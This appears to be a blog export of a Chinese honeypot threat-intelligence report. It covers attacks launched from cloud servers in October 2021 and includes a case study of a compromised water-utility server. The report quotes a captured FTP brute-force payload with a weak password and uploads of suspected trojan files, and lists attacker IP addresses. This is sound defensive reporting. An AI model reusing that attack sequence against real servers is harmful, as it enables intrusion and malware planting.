.5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">124.70.64.99</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"151\" nowrap=\"\" style=\"width:4.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman"\">华为云</span></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/9-2.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/---1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/---2.png"}],["markdown",{"markdown":"USER admin \nPASS 123qwe!@# \nPWD\nCWD / \nPASV\nSTOR //Photo.scr \nPASV\nPASV\nSTOR //AV.scr \nPASV\nPASV\nSTOR //Video.lnk\nPASV \nTYPE A\nPASV "}]],"markups":[["strong"],["a",["href","http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm"]],["a",["href","https://help.aliyun.com/document_detail/37353.html"]],["a",["href","https://cloud.tencent.com/document/product/301/2003"]]],"sections":[[1,"h1",[[0,[],0,"1 概述"]]],[1,"p",[[0,[],0,"云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。"]]],[1,"p",[[0,[],0,"360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现阿里云上网站“"],[0,[0],1,"某市供排水总公司”持续地对外发起"],[0,[],0,"网络攻击行为。"]]],[1,"h1",[[0,[],0,"2 云服务器攻击总体情况"]]],[1,"p",[[0,[],0,"由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。"]]],[1,"p",[[0,[],0,"我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖阿里云、腾讯云、华为云、中国电信天翼云、百度智能云、金山云、亚马逊AWS、微软Azure、谷歌云、Softlayer（IBM云）、Oracle云和Linode云等国内外十几家主流厂商的云服务器IP段列表。"]]],[1,"h3",[[0,[],0,"云服务器攻击源IP的时间趋势和空间分布"]]],[1,"p",[[0,[],0,"从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。"]]],[1,"p",[[0,[],0,"在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.113.216的微软Azure云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.134.58的DigitalOcean云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。"]]],[10,0],[1,"p",[[0,[],0,"从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。"]]],[10,1],[1,"p",[[0,[],0,"位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。"]]],[10,2],[1,"p",[[0,[],0,"本节最后，我们比较各云服务商攻击源IP和攻击会话的数量。阿里云和腾讯云的攻击源IP的数量最多。而DigitalOcean发起攻击的会话数量最多。"]]],[10,3],[1,"h1",[[0,[],0,"3 云服务器上的恶意行为"]]],[1,"p",[[0,[],0,"本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。"]]],[1,"h3",[[0,[],0,"使用云产品进行攻击"]]],[1,"p",[[0,[],0,"使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、控制僵尸网络等。其中，蜜罐技术可以监测到云服务器在互联网上发起密码爆破攻击和传播木马病毒的情况。"]]],[1,"p",[[0,[],0,"在密码爆破攻击方面，10月份我们共监测到"],[0,[0],1,"854个"],[0,[],0,"云服务器源IP发起了"],[0,[0],1,"约25.7万次"],[0,[],0,"的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。"]]],[10,4],[1,"p",[[0,[],0,"下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址，可以看到DigitalOcean已成为发起爆破攻击的“重灾区”。"]]],[10,5],[1,"p",[[0,[],0,"此外，我们发现一个IP地址为"],[0,[0],1,"47.92.*.*"],[0,[],0,"的阿里云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是"],[0,[0],1,"某市供排水总公司"],[0,[],0,"，属于云上重要基础设施。我们对该案例进行了详细分析，具体内容请见第4节。"]]],[1,"p",[[0,[],0,"在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到"],[0,[0],1,"3324个"],[0,[],0,"云计算IP地址传播了"],[0,[0],1,"157种恶意软件约88.2万次"],[0,[],0,"。"]]],[10,6],[1,"p",[[0,[],0,"云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。"]]],[10,7],[1,"p",[[0,[],0,"下表是传播恶意软件最活跃的10个IP。"]]],[10,8],[1,"p",[[0,[],0,"下表是传播恶意软件家族种类最为广泛的10个IP。IP传播的恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。"]]],[10,9],[1,"p",[[0,[],0,"下面是恶意软件的下载URL中提取的下载服务器的IP/域名，建议屏蔽："]]],[10,10],[1,"h3",[[0,[],0,"卸载云主机安全产品"]]],[1,"p",[[0,[],0,"阿里云、腾讯云等主流的云厂商，都在提供云服务的同时提供配套的免费或收费的主机安全产品，例如阿里云的主机安全产品称为安骑士，腾讯云的称为云镜。在开始进攻其他云服务器时，黑客通常首先会尝试卸载目标主机上预装的安全产品，以避免后续攻击过程被发现和阻止。以下是云服务器攻击源IP尝试卸载目标机器上的主机安全产品的情况。"]]],[10,11],[1,"p",[[0,[],0,"以下是发送卸载云主机安全产品的恶意软件次数最多的10个IP。我们发现腾讯云和百度智能云的IP在卸载目标主机安全产品的行为上较为活跃："]]],[10,12],[1,"p",[[0,[],0,"执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。"]]],[10,13],[1,"p",[[0,[],0,"除了第一位是阿里云官方提供的卸载软件的路径外，其余均为黑客搭建的恶意软件下载路径，这些路径的下载服务器主要分布在欧洲和美国。"]]],[1,"h3",[[0,[],0,"漏洞的扫描和攻击"]]],[1,"p",[[0,[],0,"大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。"]]],[10,14],[1,"p",[[0,[],0,"被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备也是主要的被攻击目标。"]]],[10,15],[1,"p",[[0,[],0,"以下是利用的漏洞种类最多的10个IP。"]]],[10,16],[1,"h1",[[0,[],0,"4 云上关键基础设施案例分析"]]],[1,"p",[[0,[],0,"在对云服务器密码爆破攻击行为的分析中，一个IP地址为"],[0,[0],1,"47.92.*.*"],[0,[],0,"的阿里云主机引起了我们的兴趣。我们发现这个发起了大量FTP爆破攻击的IP地址绑定了一个网站。这个网站可以用微信访问，首页如下图所示。此外，该IP还关联了另一个网站，但该网站由于未备案，已经被阿里云屏蔽无法访问。"]]],[10,17],[1,"p",[[0,[],0,"该网站有我的账户、缴纳水费、报修等功能，结合网页上的相关信息和搜索结果后发现该网站是"],[0,[0],1,"某市供排水总公司"],[0,[],0,"的官方网站，属于城市基础设施，我们怀疑该服务器被人入侵。"]]],[1,"p",[[0,[],0,"该网站可能存储了大量的公民个人身份信息和水费账户信息，被入侵后黑客可随意访问网站的后台数据库，这些信息可能已经泄露，此外，该服务器可能还会被用作黑客开展其他恶意行为的代理。"]]],[1,"p",[[0,[],0,"这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。"]]],[10,18],[1,"p",[[0,[],0,"该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件（疑似FTP木马）。"]]],[10,19],[1,"p",[[0,[],0,"以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程："]]],[10,20],[1,"h1",[[0,[],0,"5 防护建议 "]]],[1,"p",[[0,[],0,"云计算服务的用户应做好及时的漏洞检查和修补工作，避免将不必要的端口和服务暴露在公网上，避免使用容易被黑客破解的弱密码，关注所使用服务的0-day漏洞信息，配备云服务厂商提供的云安全产品等，以免云服务器被黑客入侵。 "]]],[1,"p",[[0,[],0,"云计算服务商为了保证云服务业务正常运行，防止具有恶意行为的主机挤占正常用户带宽或对外攻击造成安全风险，应关注云服务器被恶意使用的情况。360 Anglerfish蜜罐可帮助云服务商监测云服务器在互联网上的恶意攻击行为，并提供了SaaS和私有化部署两种部署方案。360 Anglerfish蜜罐系统具有灵活度高，误报率低，告警信息准确，对各类网络环境的适应性强，可模拟定制化网上资产等优势。此外，Anglerfish蜜罐系统告警信息全面，不仅包括命中蜜罐的云服务器IP、端口、通信协议等基本信息，也包括发送垃圾和钓鱼邮件信息、利用漏洞（包括0-day漏洞）在互联网上进行扫描和攻击的信息、在公网上爆破密码攻击信息、传播病毒木马等恶意软件的信息等自动化输出的威胁情报。这些信息可帮助云服务商企业管理向公网提供服务的各类云服务设备，针对性排查和处理相关设备，封停相关可疑账号，建立威胁情报内生的能力，保护业务稳定安全。 "]]],[1,"h1",[[0,[],0,"6 联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。"]]],[1,"h1",[[0,[],0,"7 参考链接 "]]],[1,"p",[[0,[],0,"《关键信息基础设施安全保护条例》 "]]],[1,"p",[[0,[1],1,"http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm"],[0,[],0," "]]],[1,"p",[[0,[],0,"阿里云《云平台安全规则》 "]]],[1,"p",[[0,[2],1,"https://help.aliyun.com/document_detail/37353.html"],[0,[],0," "]]],[1,"p",[[0,[],0,"腾讯云《云安全违规处罚等级划分说明》 "]]],[1,"p",[[0,[3],1,"https://cloud.tencent.com/document/product/301/2003"],[0,[],0," "]]],[1,"h1",[]]],"ghostVersion":"3.0"} | 619746123819e5000763623a |
post | null | 2021-11-24T10:34:13.000Z | 63873b9a8b1c1e0007f52ff4 | public-cloud-threat-intelligence-202110 | 0 | 2022-02-09T07:17:15.000Z | public | published | null | 2021-11-25T03:57:29.000Z | 公有云网络安全威胁情报（202110）：趋势及典型案例分析 | <h2 id="1-">1 概述</h2><p>云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。</p><p>360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现云上网站“<strong>某市供排水总公司”持续地对外发起</strong>网络攻击行为。</p><h2 id="2-">2 云服务器攻击总体情况</h2><p>由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。</p><p>我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖国内外十几家主流厂商的云服务器IP段列表。</p><h3 id="-ip-">云服务器攻击源IP的时间趋势和空间分布</h3><p>从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。</p><p>在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.*.*的云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.*.*的云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/1.png" class="kg-image" alt loading="lazy"></figure><p>从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/2.png" class="kg-image" alt loading="lazy"></figure><p>位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---IP----202110.png" class="kg-image" alt loading="lazy"></figure><h2 id="3-">3 云服务器上的恶意行为</h2><h3 id="-">使用云产品进行攻击</h3><p>使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、僵尸网络的C2服务器等。</p><p>在密码爆破攻击方面，10月份我们共监测到<strong>854个</strong>云服务器源IP发起了<strong>约25.7万次</strong>的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。</p><p>下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:286.6pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:11.35pt">
<td width="129" nowrap="" valign="top" style="width:96.6pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">协议</span></b><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">/</span></b><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">端口</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="58" nowrap="" valign="top" style="width:43.8pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">143.198.*.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23</span></p>
</div>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">80,714</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">35.204.*.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">19,466</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">137.184. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">16,709</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">161.35. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
